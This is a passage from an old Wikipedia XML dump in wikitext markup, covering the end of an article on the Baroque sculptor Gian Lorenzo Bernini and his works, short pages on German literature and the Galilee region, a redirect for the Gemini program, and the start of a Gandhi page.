Among these early works are ''[[The Goat Amalthea with the Infant Zeus and a Faun]]'' and several allegorical busts such as the ''[[Damned Soul (Bernini)|Damned Soul]]'' and ''[[Blessed Soul (Bernini)|Blessed Soul]]''. In the 1620 he completed the [[Bust of Pope Paul V (Bernini)|bust of Pope Paul V]]. Under the patronage of Cardinal [[Scipione Borghese]], a member of the reigning papal family, young Bernini rapidly rose to prominence as a sculptor. Scipione's [[Villa Borghese|villa]] chronicles his secular sculptures, with a series of masterpieces: 
:*''[[Aeneas, Anchises, and Ascanius]]'' depicting three ages of man from various viewpoints, borrowing from a figure in a [[Raphael]] fresco, and perhaps an [[allegory]] reflecting the moment when son attains the skill of his father. 
:*''[[Abduction of Proserpine]]'', where the young artist creates a monument recalling [[Giambologna]]'s Mannerist ''[[Rape of the Sabine Women (Giambologna)|Rape of the Sabine Women]]'', and masterfully dimpling the woman's marble skin.
:*''[[Apollo and Daphne (Bernini)|Apollo and Daphne]]'' shows the most dramatic moment in one of [[Ovid]]'s metamorphosis tales. In the story, Apollo, the god of light, scolds Eros, the god of love, for playing with adult weapons. Eros is angered and wounds Apollo with a golden arrow induces Apollo, upon sight of Daphne, a water nymph who had declared her perpetual [[virginity]], to fall in love. Eros also wounded Daphne with a lead arrow that induces her to reject Apollo's advances. Apollo pursues Daphne. Just when he captures her she cries out to her father, the river god, to destroy her [[beauty]] in order to quell Apollo's advances. Her father responds by mutating her into a laurel tree. If representative sculpture of human figures metamophoses a person into a depiction in lifeless stone, this statue doubles the conceit, depicting in stone a life changing to inanimate tree. 
:* Finally, Bernini's ''[[David (Bernini)|David]]'' was a revolutionary statement. Bernini's David is poised to release his rock, in contrast to poses of the Florentine Davids of prior generations, such as the triumphant repose of the famous [[David (Michelangelo)|Michelangelo's David]] or the haughty effeteness of [[David (Donatello)|Donatello]]'s or [[Andrea del Verrocchio|Verrocchio's]] Davids. The twisted torso, furrowed forehead, and granite grimace of Bernini's ''David'' is characteristic of the [[Baroque]] interest in dynamic movement and emotion over High [[Renaissance]] stasis and classic severity. Michelangelo expresses David's heroic nature; Bernini captures the heroic moment.

&lt;table align=&quot;right&quot;&gt;&lt;tr&gt;&lt;td&gt;
[[Image:Ratto_di_proserpina.PNG|thumb|right|''Ratto di Proserpina'']]&lt;br&gt;
[[image:apollo&amp;daphne.jpg|thumb|right|200px|''Apollo and Daphne'', iconic image of baroque interest in dynamic compositions (Galleria Borghese, Rome)]]
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

Bernini's first architectural project was the magnificent bronze [[baldachin]] ([[1624]]-[[1633]]), the canopy over the high altar of [[St. Peter's Basilica]], and the [[façade]] for the church of [[Santa Bibiana]] (1624). In 1629, before the Baldacchino was complete, [[Urban VIII]] put him in charge of all the ongoing architectural works at St Peter's. He was given the commission for the Basilica's [[Tomb of Pope Urban VIII|tomb]]s of the Barberini Pope and, years later, [[Pope Alexander VII]] Chigi. The [[Throne of Saint Peter|Chair of Saint Peter]] (''Cathedra Petri''), in the apse of St. Peter's, is one of his [[masterpiece]]s. 

Bernini's sculptural output was immense and varied. Among his other best-known sculptures: the ''[[Ecstasy of St Theresa]]'', in the Cornaro Chapel, [[Santa Maria della Vittoria]], and the now-hidden [[Constantine, Scala Regia (Bernini)|Constantine]], at the base of the [[Scala Regia]] (which he designed). He helped design the [[Ponte Sant'Angelo]], sculpting two of the angels, soon replaced by copies, of his own, while the others were made by his pupils based on his designs.

At the end of April [[1665]], at the height of his fame and powers, he traveled to Paris, remaining there until November. Bernini's popularity even abroad was shown by the fact he could hardly walk in Paris without the street being lined by crowds of people pointing at him.

This trip, encouraged by Father Oliva, general of the [[Jesuits]], was a reply to the repeated requests for his works by King [[Louis XIV of France|Louis XIV]]. Here Bernini presented some (ultimately rejected) designs for the east front of the [[Louvre]]; his adventurous concave-convex facades was discarded in favor of the more stern and classic proposals of native [[Claude Perrault]]. Bernini soon became unpopular in the French court for he praised the art and architecture of Italy at the expense of that of France. For example, he said that a painting by [[Guido Reni]] was worth more than all of Paris. The sole work remaining from time in Paris is a [[bust of Louis XIV (Bernini)|bust]] of [[Louis XIV]] which set the standard for the royal portraits for a century.

==Architecture==
Bernini's architectural conceits include the [[piazza]] and colonnades of [[St. Peter's Basilica|St Peter's]]. He planned several Roman palaces: [[Palazzo Barberini]] (from 1630 on which he worked with [[Borromini]]); [[Palazzo Ludovisi]] (now Palazzo Montecitorio); and [[Palazzo Chigi]].  

Bernini did not build many churches from scratch, preferring instead to concentrate on the embellishment of pre-existing structures. He fulfilled three commissions in the field; his stature allowed him the freedom to design the structure and decorate the interiors in coherent designs. Best known is the small oval baroque church of [[Sant'Andrea al Quirinale]] which includes the statue of [[Saint Andrew|St. Andrew the Apostle]] soaring high above the aedicule framing the high altar. Bernini also designed churches in [[Castelgandolfo]] ([[San Tommaso da Villanova]]) and [[Ariccia]] ([[Santa Maria Assunta (Ariccia)|Santa Maria Assunta]]).

==Fountains in Rome==

[[image:Berndavi.JPG|thumb|left|''David'' for Cardinal Scipione Borghese (1623-24), (Galleria Borghese, Rome)]]

True to the decorative dynamism of Baroque, Roman [[fountain]]s, part public works and part Papal monuments, were among his most gifted creations. Bernini's fountains are the [[Triton Fountain|Fountain of the Triton]] and [[Fountain of the Bees]]. The [[Fontana dei Quattro Fiumi]] in the [[Piazza Navona]] is a masterpiece of spectacle and political allegory. One anecdote tells that one of the Bernini's river gods shields his gaze, horrified by the adjacent facade of [[Sant'Agnese in Agone]] church designed by his equally talented, but less politically successful, rival [[Francesco Borromini]]. However, the fountain was built several years before the façade of the church was completed.

==Marble portraiture==
Bernini also revolutionized marble busts, lending glamorous dynamism to once stony stillness of portraiture. Starting with the immediate pose, leaning out of the frame, of bust of [[Monsignor Pedro de Foix Montoya]] at [[Santa Maria di Monserrato]], Rome. The once-gregarious Cardinal [[Bust of Scipione Borghese (Bernini)|Scipione Borghese]] is frozen in conversation. The portrait of his alleged mistress, [[Costanza Buonarelli]], does not portray divinity or royalty; but a woman in a moment of disheveled privacy, captured in conversation or surprise.

In his sculpted portraiture for more regal patrons, Bernini fashioned the windswept marble vestments and cascades of hair of [[Louis XIV of France|Louis XIV]]'s portrait would suffice to elevate any face to royalty. Similar exuberance glorifies the bust of Francesco I d'Este.

==Other works==
Another of Bernini's sculptures is known affectionately as ''Bernini's Chick'' by the Roman people. It is located in the Piazza della Minerva, in front of the church [[Santa Maria sopra Minerva]]. Pope [[Alexander VII]] decided that he wanted an ancient Egyptian [[obelisk]] to be erected in the [[piazza]] and commissioned Bernini to create a sculpture to support the obelisk. The sculpture of an [[elephant]] was finally created in [[1667]] by one of Bernini's students, [[Ercole Ferrata]]. One of the most interesting features of this elephant is its smile. To find out why it is smiling, the viewer must head around to the rear end of the animal and to see that its muscles are tensed and its tail is shifted to the left. Bernini sculpted the animal as if it were defecating. The animal's rear is pointed directly at the office of Father Domenico Paglia, a Dominican friar, who was one of the main antagonists of Bernini and his artisan friends, as a final salute and last word.

[[Image:BerniniBaciccio1665.jpg|thumb|Bernini in 1665, painted by [[Giovanni Battista Gaulli|Baciccio]]]]

The death of his constant patron Urban VIII in 1644 released a horde of Bernini's rivals and marked a change in his career, but [[Innocent X]] set him back to work on the extended [[nave]] of St Peter's and commissioned the Four Rivers fountain in Piazza Navona. At the time of Innocent's death in 1655 Bernini was the aribiter of public taste in Rome. He died in Rome in 1680, and was buried in the [[Basilica di Santa Maria Maggiore]].

Two years after his death, Queen [[Christina of Sweden]], then living in Rome, commissioned [[Filippo Baldinucci]] to write his biography, (translated in 1996 as ''The life of Bernini'').

Bernini's works are featured in [[Dan Brown]]'s novel ''[[Angels and Demons]]'' as markers and [[Altars of Science]].

==Selected works==
===Sculpture===
* [[Bust of Giovanni Battista Santoni]] (c. 1612) &lt;small&gt;- Marble, life-size, [[Santa Prassede]], [[Rome]]
* ''[[Martyrdom of St. Lawrence (Bernini)|Martyrdom of St. Lawrence]]'' (1614-1615) &lt;small&gt;- Marble, 66 x 108 cm, [[Contini Bonacossi Collection]], [[Florence]]
* ''[[The Goat Amalthea with the Infant Jupiter and a Faun]]'' ([[1615]]) &lt;small&gt;- Marble, [[Galleria Borghese]], [[Rome]]&lt;/small&gt;
* ''[[St. Sebastian (Bernini)|St. Sebastian]]'' (c. 1617) &lt;small&gt;- Marble, [[Thyssen Bornemisza Museum]], [[Madrid]]&lt;/small&gt;
* ''[[A Faun Teased by Children]]'' (1616-1617) &lt;small&gt;- Marble, height 132,1 cm, [[Metropolitan Museum of Art]], [[New York]]&lt;/small&gt;
* ''[[Aeneas, Anchises, and Ascanius]]'' (1618-1619) &lt;small&gt;- Marble, height 220 cm, [[Galleria Borghese]], [[Rome]]
* ''[[Damned Soul (Bernini)|Damned Soul]]'' (1619) &lt;small&gt;- [[Palazzo di Spagna]], [[Rome]]&lt;/small&gt;
* ''[[Blessed Soul (Bernini)|Blessed Soul]]'' (1619) &lt;small&gt;- [[Palazzo di Spagna]], [[Rome]]&lt;/small&gt;
*''[[Apollo and Daphne (Bernini)|Apollo and Daphne]]'' (1622-1625) &lt;small&gt;- Marble, height 243 cm, [[Galleria Borghese]], [[Rome]]&lt;/small&gt;
* [[St. Peter's Basilica|St. Peter's Baldachin]] ([[1624]]) &lt;small&gt;- Bronze, partly gilt, [[St. Peter's Basilica|Basilica di San Pietro]], [[Vatican City]]&lt;/small&gt;
* ''[[Charity with Four Children (Bernini)|Charity with Four Children]]'' (1627-1628) &lt;small&gt;- Terracotta, height 39 cm, [[Vatican Museums|Museo Sacro]], [[Vatican Palace|Musei Vaticani]], Vatican&lt;/small&gt;
* ''[[David (Bernini)|David]]'' (1623-1624) &lt;small&gt;- Marble, height 170 cm, [[Galleria Borghese]], [[Rome]]&lt;/small&gt;
* [[Piazza di Spagna|Fontana della Barcaccia]] (1627-1628) &lt;small&gt;- Marble, [[Piazza di Spagna]], [[Rome]]&lt;/small&gt;
* ''[[Bust of Monsignor Pedro de Foix Montoya]]'' (c. 1621) &lt;small&gt;- Marble, life-size, [[Santa Maria di Monserrato]], [[Rome]]&lt;/small&gt;
* ''[[Neptune and Triton (Bernini)|Neptune and Triton]]'' ([[1620]]) &lt;small&gt;- Marble, height 182,2 cm, [[Victoria and Albert Museum]], [[London]]&lt;/small&gt;
* ''[[The Rape of Proserpina (Bernini)|The Rape of Proserpina]]'' (1621-1622) &lt;small&gt;- Marble, height 295 cm, [[Galleria Borghese]], [[Rome]]&lt;/small&gt;
* [[Fontana del Tritone]] (1624-1643) &lt;small&gt;- Travertine, over life-size, [[Piazza Barberini]], [[Rome]]&lt;/small&gt;
* [[Tomb of Pope Urban VIII]] (1627-1647) &lt;small&gt;- Golden bronze and marble, figures larger than life-size, [[St. Peter's Basilica|Basilica di San Pietro]], [[Vatican City]]&lt;/small&gt;
* ''[[Bust of Thomas Baker (Bernini)|Bust of Thomas Baker]]'' ([[1638]]) &lt;small&gt;- Marble, height 81,6 cm, [[Victoria and Albert Museum]], [[London]]&lt;/small&gt;

[[Image:Blessed Ludovica Albertoni.jpg|thumb|250px|&quot;Blessed Ludovica Albertoni&quot;]]

* ''[[Bust of Costanza Bonarelli]]'' (c. 1635) &lt;small&gt;- Marble, height 70 cm, [[Museo Nazionale del Bargello]], [[Florence]]&lt;/small&gt;
* ''[[Charity with Two Children (Bernini)|Charity with Two Children]]'' ([[1634]]) &lt;small&gt;- Terracotta, height 41.6 cm, [[Vatican Museums|Museo Sacro]], [[Vatican Palace|Musei Vaticani]], [[Vatican City]]&lt;/small&gt;
* ''[[Saint Longinus (Bernini)|Saint Longinus]]'' (1631-1638) &lt;small&gt;- Marble, height 450 cm, [[St. Peter's Basilica|Basilica di San Pietro]], [[Vatican City]]&lt;/small&gt;
* [[Bust of Scipione Borghese (Bernini)|Bust of Scipione Borghese]] ([[1632]]) &lt;small&gt;- Marble, height 78 cm, [[Galleria Borghese]], [[Rome]]&lt;/small&gt;
* [[Bust of Scipione Borghese of St. Peter (Bernini)|Bust of Cardinal Scipione Borghese]] (1632) &lt;small&gt;- Marble, [[St. Peter's Basilica|Basilica di San Pietro]], [[Vatican City]]&lt;/small&gt;
* [[Fontana del Tritone]] (1624-1643) &lt;small&gt;- Travertine, over life-size, [[Piazza Barberini]], [[Rome]]&lt;/small&gt;
* [[Bust of Pope Urban VIII]] (1632-1633) &lt;small&gt;- Bronze, height 100 cm, [[Vatican Museum|Museo Sacro]], Musei Vaticani, [[Vatican City]]&lt;/small&gt;
* [[Bust of Cardinal Armand de Richelieu (Bernini)|Bust of Cardinal Armand de Richelieu]] (1640-1641) &lt;small&gt;- Marble, [[Louvre|Musée du Louvre]], [[Paris]]&lt;/small&gt;
* [[Santa Maria sopra Minerva|Memorial to Maria Raggi]] ([[1643]]) &lt;small&gt;- Gilt bronze and coloured marble, [[Santa Maria sopra Minerva]], [[Rome]]&lt;/small&gt;
* ''[[Truth (Bernini)|Truth]]'' (1645-1652) &lt;small&gt;- Marble, height 280 cm, [[Galleria Borghese]], [[Rome]]&lt;/small&gt;
* ''[[Ecstasy of St Theresa]]'' (1647-1652) &lt;small&gt;- Marble, Cappella Cornaro, [[Santa Maria della Vittoria]], [[Rome]]&lt;/small&gt;
* [[Santa Maria della Vittoria|Loggia of the Founders]] (1647-1652) Marble, Cappella Cornaro, [[Santa Maria della Vittoria]], [[Rome]]&lt;/small&gt;
* [[Bust of Urban VIII (Bernini)|Bust of Urban VIII]] &lt;small&gt;- Marble, [[St. Peter's Basilica|Basilica di San Pietro]], [[Vatican City]]&lt;/small&gt;
* [[Fontana dei Quattro Fiumi]] (1648-1651) &lt;small&gt;- Travertine and marble, [[Piazza Navona]], [[Rome]]&lt;/small&gt;
* ''[[Daniel and the Lion (Bernini)|Daniel and the Lion]]'' ([[1650]]) &lt;small&gt;- Marble, [[Santa Maria del Popolo]], [[Rome]]&lt;/small&gt;
* ''[[Francesco I d'Este (Bernini)|Francesco I d'Este]]'' (1650-1651) &lt;small&gt;- Marble, height 107 cm, [[Galleria Estense]], [[Modena]]&lt;/small&gt;
* [[Fountain of the Moor]] (1653-1654) &lt;small&gt;- Marble, [[Piazza Navona]], [[Rome]]&lt;/small&gt;
* ''[[Constantine, Vatican (Bernini)|Constantine]]'' (1654-1670) &lt;small&gt;- Marble, [[Vatican Palace|Palazzi Pontifici]], [[Vatican City]]&lt;/small&gt;
* ''[[Daniel and the Lion of Vatican (Bernini)|Daniel and the Lion]]'' ([[1655]]) &lt;small&gt;- Terracotta, height 41.6 cm, Museo Sacro, [[Vatican Museum|Musei Vaticani]], [[Vatican City]]&lt;/small&gt;
* ''[[Habakkuk and the Angel (Bernini)|Habakkuk and the Angel]]'' ([[1655]]) &lt;small&gt;- Terracotta, height 52 cm, Museo Sacro, [[Vatican Museum|Musei Vaticani]], [[Vatican City]]&lt;/small&gt;
* [[Altar Cross (Bernini)|Altar Cross]] (1657-1661) &lt;small&gt;- Gilt bronze corpus on bronze cross, height: corpus 43 cm, cross 185 cm, [[St. Peter's Basilica|Treasury of San Pietro]], [[Vatican City]]&lt;/small&gt;
* [[Throne of Saint Peter]] (1657-1666) &lt;small&gt;- Marble, bronze, white and golden stucco, [[St. Peter's Basilica|Basilica di San Pietro]], [[Rome]]&lt;/small&gt;
* [[Statue of Saint Augustine (Bernini)|Statue of Saint Augustine]] (1657-1666) &lt;small&gt;- Bronze, [[St. Peter's Basilica|Basilica di San Pietro]], [[Vatican City]]&lt;/small&gt;
* ''[[Constantine, Scala Regia (Bernini)|Constantine]]'' (1663-1670) &lt;small&gt;- Marble with painted stucco drapery, [[Scala Regia]], [[Vatican Palace]], [[Rome]]&lt;/small&gt;
* ''[[Standing Angel with Scroll (Bernini)|Standing Angel with Scroll]]'' (1667-1668) &lt;small&gt;- Clay, terracotta, height: 29,2 cm, [[Fogg Art Museum]], [[Cambridge]]&lt;/small&gt;
* ''[[Sant'Andrea delle Fratte|Angel with the Crown of Thorns]]'' (1667-1669) &lt;small&gt;- Marble, over life-size, [[Sant'Andrea della Fratte]], Rome&lt;/small&gt;
* ''[[Sant'Andrea delle Fratte|Angel with the Superscription]]'' (1667-1669) &lt;small&gt;- Marble, over life-size, [[Sant'Andrea della Fratte]], Rome&lt;/small&gt;
* ''[[Elephant of Minerva]]'' (1667-1669) &lt;small&gt;- Marble, [[Santa Maria sopra Minerva|Piazza di Santa Maria sopra Minerva]], [[Rome]]&lt;/small&gt;
* ''[[Bust of Gabriele Fonseca]]'' (1668-1675) &lt;small&gt;- Marble, over life-size, [[San Lorenzo in Lucina]], [[Rome]]&lt;/small&gt;
* [[Equestrian Statue of King Louis XIV (Bernini)|Equestrian Statue of King Louis XIV]] (1669-1670) &lt;small&gt;- Terracotta, height 76 cm, [[Galleria Borghese]], [[Rome]]&lt;/small&gt;
* [[Bust of Louis XIV (Bernini)|Bust of Louis XIV]] ([[1665]]) &lt;small&gt;- Marble, height 80 cm, [[Musée National de Versailles]], [[Versailles]]&lt;/small&gt;
* ''[[Herm of St. Stephen, King of Hungary]]'' &lt;small&gt;- Bronze, [[Cathedral of Zagreb|Cathedral Treasury]], [[Zagreb]]&lt;/small&gt;
* ''[[Saint Jerome (Bernini)|Saint Jerome]]'' (1661-1663) &lt;small&gt;- Marble, height 180 cm, Cappella Chigi, [[Duomo di Siena|Duomo]], [[Siena]] &lt;/small&gt;
* [[Tomb of Pope Alexander VII]] (1671-1678) &lt;small&gt;- Marble and gilded bronze, over life-size, [[St. Peter's Basilica|Basilica di San Pietro]], [[Vatican City]]&lt;/small&gt;
* ''[[Blessed Ludovica Albertoni]]'' (1671-1674) &lt;small&gt;- Marble, Cappella Altieri-Albertoni, [[San Francesco a Ripa]], [[Rome]]&lt;/small&gt;

===Paintings===
Bernini's activity as a [[painter]] was a sideline which he did mainly in his youth. Despite this his work reveals a sure and brilliant hand, free from any trace of pedantry. He studied in Rome under his father, [[Pietro Bernini|Pietro]], and soon proved a precocious infant prodigy. His work was immediately sought after by major collectors. 

*''[[Saint Andrew and Saint Thomas (Bernini)|Saint Andrew and Saint Thomas]]'' (c. 1627) &lt;small&gt;- Oil on canvas, 59 x 76 cm, [[National Gallery, London|National Gallery]], [[London]]&lt;/small&gt;
*''[[David with the Head of Goliath (Bernini)|David with the Head of Goliath]]'' ([[1625]]) &lt;small&gt;- Oil on canvas, 75 x 65,5 cm, [[Galleria Nazionale d'Arte Antica]], [[Rome]]&lt;/small&gt;
*''[[Portrait of a Boy (Bernini)|Portrait of a Boy]]'' (c. 1638) &lt;small&gt;- Oil on canvas, [[Galleria Borghese]], [[Rome]]&lt;/small&gt;
*''[[Self-Portrait as a Young Man (Bernini)|Self-Portrait as a Young Man]]'' (c. 1623) &lt;small&gt;- Oil on canvas, [[Galleria Borghese]], [[Rome]]&lt;/small&gt;
*''[[Self-Portrait as a Mature Man (Bernini)|Self-Portrait as a Mature Man]]'' (1630-1635) &lt;small&gt;- Oil on canvas, [[Galleria Borghese]], [[Rome]]&lt;/small&gt;

==See also==
[[Image:Bernini 50000.jpg|thumb|300px|Bernini on an old Italian note]]
* [[List of painters]]
* [[List of Italian painters]]
* [[List of famous Italians]]
* [[Saint Peter's Square]]

==Trivia==
Bernini was portrayed on two different series of former Italian notes of 50,000 lire. The picture was based on one of the artist's self-portraits.

==External links==
{{Commonscat|Gianlorenzo Bernini}}
*[http://www.slowtrav.com/italy/rome/es_bernini.htm Checklist of Bernini's architecture and sculpture in Rome]

[[Category:1598 births|Bernini, Gian Lorenzo]]
[[Category:1680 deaths|Bernini, Gian Lorenzo]]
[[Category:Bernini]]
[[Category:Baroque artists|Bernini, Gian Lorenzo]]
[[Category:Italian architects|Bernini, Gian Lorenzo]]
[[Category:Italian painters|Bernini, Gian Lorenzo]]
[[Category:Italian sculptors|Bernini, Gian Lorenzo]]
[[Category:Natives of Naples|Bernini, Gian Lorenzo]]

[[cs:Gian Lorenzo Bernini]]
[[de:Gian Lorenzo Bernini]]
[[es:Gian Lorenzo Bernini]]
[[fr:Gian Lorenzo Bernini]]
[[hr:Gian Lorenzo Bernini]]
[[it:Gian Lorenzo Bernini]]
[[he:ג'ובאני לורנצו ברניני]]
[[nl:Gian Lorenzo Bernini]]
[[ja:ジャン・ロレンツォ・ベルニーニ]]
[[no:Giovanni Lorenzo Bernini]]
[[pl:Giovanni Lorenzo Bernini]]
[[pt:Bernini]]
[[ru:Бернини, Джованни Лоренцо]]
[[fi:Gian Lorenzo Bernini]]
[[sv:Giovanni Lorenzo Bernini]]
[[zh:济安·贝尼尼]]</text>
    </revision>
  </page>
  <page>
    <title>German literature</title>
    <id>12636</id>
    <revision>
      <id>39038549</id>
      <timestamp>2006-02-10T07:35:29Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
      </contributor>
      <minor />
      <comment>robot  Adding: hu</comment>
      <text xml:space="preserve">'''German literature''' comprises those [[literature|literary]] texts originating within [[Germany]] proper and written in the [[German language]]. The term may also denote any literature composed primarily in the German language, though in other countries; for example [[Austria]], [[Switzerland]], the former [[Czechoslovakia]], etc.

Some of the major movements or time periods of German literature include:

* [[Medieval German literature]]
* [[German literature of the Baroque period|Baroque]]
* [[The Enlightenment|Enlightenment]]
* [[Sturm und Drang]]
* [[Classicism]]
* [[German Romanticism]]
* [[Young Germany]]
* [[Naturalism (literature)|Naturalism]]
* [[Fin de siècle]] 
* [[Expressionism]]
* [[Dada]]

For well-known [[author]]s who wrote or write [[literature]] in the [[German language]] see [[list of German-language authors]] and [[list of German language poets]].

[[Category:German literature|*]]

[[bg:Немска литература]]
[[cs:Německá literatura]]
[[de:Deutsche Literatur]]
[[et:Saksakeelne kirjandus]]
[[es:Literatura alemana]]
[[eo:Germanlingva Literaturo]]
[[fr:Littérature de langue allemande]]
[[ko:독일어 문학]]
[[it:Letteratura tedesca]]
[[he:ספרות גרמנית]]
[[hu:Német irodalom]]
[[nl:Duitse literatuur]]
[[ja:ドイツ文学]]
[[pl:Literatura niemiecka]]
[[sk:Nemecká literatúra]]</text>
    </revision>
  </page>
  <page>
    <title>Gemini program</title>
    <id>12638</id>
    <revision>
      <id>15910310</id>
      <timestamp>2004-10-23T22:28:49Z</timestamp>
      <contributor>
        <username>Enceladus</username>
        <id>29293</id>
      </contributor>
      <comment>All the stuff that was on this page is now at [[Project Gemini]]</comment>
      <text xml:space="preserve">#REDIRECT [[Project Gemini]]</text>
    </revision>
  </page>
  <page>
    <title>Galilee</title>
    <id>12639</id>
    <revision>
      <id>42154927</id>
      <timestamp>2006-03-04T04:32:18Z</timestamp>
      <contributor>
        <ip>203.145.183.225</ip>
      </contributor>
      <comment>Minor change  for grammatical correctness.</comment>
      <text xml:space="preserve">'''Galilee''' ([[Arabic language|Arabic]] ''al-jaleel'' الجليل, [[Hebrew language|Hebrew]] ''hagalil'' הגליל), meaning &quot;circuit&quot;, is a large area overlapping with much of the [[North District, Israel|North District]] of [[Israel]]. It is traditionally divided into three areas: 
* Upper Galilee, 
* Lower Galilee and 
* Western Galilee.

== Geography ==

Galilee embraces more than one-third of present-day [[Israel]], extending &quot;from Dan on the north, at the base of [[Mount Hermon]], to the ridges of Carmel and Gilboa on the south, and from the Jordan valley on the east away across the splendid plains of Jezreel and [[Akko]] to the shores of the [[Mediterranean Sea|Mediterranean]] on the west.&quot;  

The Western Galilee, also called the &quot;Northern Coastal Plain&quot; strays from north of Haifa up to [[Rosh Hanikra]] in the border between [[Israel]] and [[Lebanon]].

The Lower Galilee strays from [[Mount Carmel]] and [[Gilboa ridge]] in the south to the [[Beit HaKerem Valley]] in the north. Its eastern border is the [[Jordan River]]. 

The Upper Galilee strays from [[Beit HaKerem Valley]] in the south to the Lebanese border in the north. Its eastern border is the [[Sea of Galilee]] and the mountains of the [[Golan Heights]]. The &quot;Finger of the Galilee&quot; (''Etzba ha-Galil'') is a region of the upper Galilee and contains the towns [[Metula]] and [[Qiriyat Shemona]] and the rivers of [[Dan]] and [[Banias]].

Most of the Galilee consists of mountainous terrain, at heights of about 500-700 meters. There are several high mountain such as [[Mount Tabor]] and [[Mount Meiron]]. The relatively low tempartures and the large amounts of rain pouring every year made the Galilee a center of [[flora (plants)|blossom]] and wildlife. The streams and waterfalls (mainly in the upper Galilee), along with vast fields of green and colorful flowers made it a popular tourist attraction in [[Israel]].

==In Biblical Times==

At and before the time of Jesus, the region of the Galilee had been populated by Gentiles, people who were of neither Jewish nor [[Samaritan]] ancestry.   Galilee was not part of [[Judea]] proper but at times was under Judean control.  Galilee was separated from it by a sliver of the Gentile [[Decapolis]] and by the ethnically mixed transitional region [[Samaria]].  The cultural and fundamentalist, religious Jews (Judeans), considered the region to be lower than the half-breeds of Samaria and therefore, morally, spiritually and physically &quot;unclean&quot;.  

The Scriptures themselves had prophesied that &quot;the Galilee of the Gentiles&quot; would &quot;see a great Light&quot;, the Light of the Messiah of Israel (see the book of [[Isaiah]]).  In the New Testament, Jesus and his disciples were repeatedly known as from &quot;Galilee of the Gentiles&quot;  or as &quot;Galileans&quot; or &quot;Nazarenes&quot; to emphasize that they were ethnic foreigners preaching to native Judeans.

== History ==

According to legend, [[Solomon]] rewarded Hiram for certain services rendered him by the gift of an upland plain among the mountains of [[Naphtali]]. Hiram was dissatisfied with the gift, and called it &quot;the land of Cabul&quot;. The Jews called it ''Galil''.  During the [[Hasmonean|Hasmonaean]] period, in the midst of the decline of the [[Seleucid Empire]], the region was taken over by the Jews.

In Roman times, the region was divided into [[Judea]], [[Samaria]], and Galilee, which comprised the whole northern section of the country, and was the largest of the three. [[Herod Antipas]], son of [[Herod the Great]], ruled Galilee as [[tetrarch]] during [[Jesus]]' ministry.

Galilee has been the scene of some of the most memorable events of Jewish history. Galilee also was the home of [[Jesus]] during at least thirty years of his life. The first three Gospels of the [[New Testament]] are chiefly taken up with Jesus' public ministry in this province, namely in the villages of [[Nazareth]] and [[Capernaum]].

In [[135]], following the failed [[Bar Kokhba]] revolt, the Romans renamed the province of [[Judaea]] as [[Syria Palaestina|Palaestina]], in an attempt to remove all memory of the Jews' connection to the area.  

After the [[Arab]] caliphate took control of the region in [[638]], it became part of the ''jund'' of [[Urdunn]] (Jordan).  The [[Shia]] [[Fatimid]]s took the region in the 900s; a breakaway sect, venerating the Fatimid caliph [[al-Hakim]], formed the [[Druze]] religion, centered in and north of the Galilee.

During the [[Crusade]]s, Galilee was organized into the [[Principality of Galilee]], one of the most important Crusader seigneuries.

In the early [[20th century]], the Galilee was inhabited by [[Arab]]s, [[Druze]]s and minorities such as [[Circassians]] and [[Jew]]s.  The Jewish population was increased significantly by [[Zionist]] immigration.

After the [[1948 Arab-Israeli war]] the entire Galilee came under Israel's control.  A large portion of the population fled, leaving entire villages empty; however, more [[Palestinian]]s remained than in most areas, due especially to a successful rapprochement with the [[Druze]].  The [[kibbutz]]im around the [[Sea of Galilee]] were sometimes shelled by the [[Syrian army]]'s [[artillery]]. The shelling stopped after [[Israel]] conquered the [[Golan Heights]] in [[1967]]. 

During the [[1970]]'s and the early [[1980]]'s, the [[PLO]] sometimes launched attacks on towns of the Upper Galilee from [[Lebanon]]. Israel initiated [[Operation Litani]] ([[1979]]) and [[Operation Peace For Galilee]] ([[1982]]) with the stated objectives of destroying the PLO infrastructure in [[Lebanon]] and protects the citizens of the Upper Galilee. Israel remained in occupation of most of Southern Lebanon until [[1985]]; in [[1985]] Israel withdrew to a narrow security &quot;buffer zone&quot; called &quot;Retzuat ha-Bitachon&quot;. Until the year  [[2000]], [[Hezbollah]] (and earlier [[Amal Movement|Amal]]) continued to fight the [[Israeli Defence Forces]], sometimes shelling Upper Galilee communities and towns with [[Katyusha]] [[rocket]]s). In [[2000]] [[Israeli prime-minister]] [[Ehud Barak]] unilaterally withdrew from south Lebanon and deployed Israel on the international border, recognized by the [[UN]]. However, clashes between Hezbollah and Israel continued along the border, and UN observers condemned both for their attacks.  Hezbollah claims that a place on the border of the Golan Heights and Lebanon called the [[Shebaa Farms]] is Israeli-occupied Lebanon.  Israel and the UN claim that the Shebaa Farms are part of the Syrian [[Golan Heights]].

== Modern Galilee ==

Modern Galilee is one of the few areas of Israel to have retained a large [[Israeli Arab|Arab]] population after [[1948]], and has a particularly large number of [[Druze]].  The &quot;heart of the Galilee&quot; - the districts of Carmel, Upper Nazareth, Ma'alot, Migdal Ha'emek and Afula - has an Arab majority of 78%[http://www.jewishsf.com/content/2-0-/module/displaystory/story_id/20778/edition_id/426/format/html/displaystory.html], despite [[Jewish Agency]] efforts to change the demographic balance.

Its main cities are [[Akko]] (Acre), [[Nazareth]], [[Safed]] (Tzfat), [[Karmiel]], [[Afula]], [[Qiryat Shemona]] and [[Tiberias]]. The city of [[Haifa]], although outside the Galilee serves as an administrational and commercial center for the Galilee.

Because of its mountainous terrain most of the settlements in the Galilee are small villages. The main industries of those villages are [[agriculture]] and [[tourism]]. Many families run a &quot;[[Bed and breakfast|Zimmer]]&quot; (a popular name for a B&amp;B in Israel) for rent.

==See also==
* [[North District, Israel]]
* [[Sea of Galilee]] (also known as ''Yam Kinneret'', ''Sea of [[Tiberias]]'')
* [[Golan Heights]]
* [[Mount Hermon]]

==Reference==
* Initial text from Easton's Bible Dictionary, 1897. Please update as needed

[[Category:Tanakh places]]
[[Category:Geography of Israel]]
[[Category:Jewish history]]
[[Category:New Testament places]]


[[ang:Galilēa]]
[[de:Galiläa]]
[[et:Galilea]]
[[es:Galilea]]
[[fr:Galilée (région)]]
[[ko:갈릴리]]
[[it:Galilea]]
[[he:הגליל]]
[[nl:Galilea]]
[[ja:ガリラヤ]]
[[pl:Galilea]]
[[pt:Galiléia (região)]]
[[fi:Galilea]]
[[sv:Galileen]]</text>
    </revision>
  </page>
  <page>
    <title>Gandhi</title>
    <id>12640</id>
    <revision>
      <id>38947469</id>
